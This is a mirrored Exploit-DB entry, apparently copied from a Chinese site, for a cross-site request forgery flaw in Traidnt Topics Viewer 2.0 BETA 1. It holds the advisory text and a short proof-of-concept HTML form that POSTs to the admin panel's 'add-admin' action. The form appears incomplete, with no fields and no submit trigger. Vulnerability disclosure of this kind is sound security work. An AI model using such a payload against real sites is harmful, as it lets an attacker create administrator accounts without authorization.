Traidnt Topics Viewer 2.0 – ‘main.php’ Cross-Site Request Forgery - 体验盒子

作者： Green Hornet

日期： 2012-02-29

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/36892/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

# source: https://www.securityfocus.com/bid/52224/info

#

# Traidnt Topics Viewer is prone to a cross-site request-forgery vulnerability.

#

# Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible.

#

# Traidnt Topics Viewer 2.0 BETA 1 is vulnerable; other versions may also be affected.

#

<html>

<p>by:thegreenhornet</p>

<form method="POST" name="form0" action="

http://www.example.com/top/admincp/main.php?op=add-admin">

</form>

</body>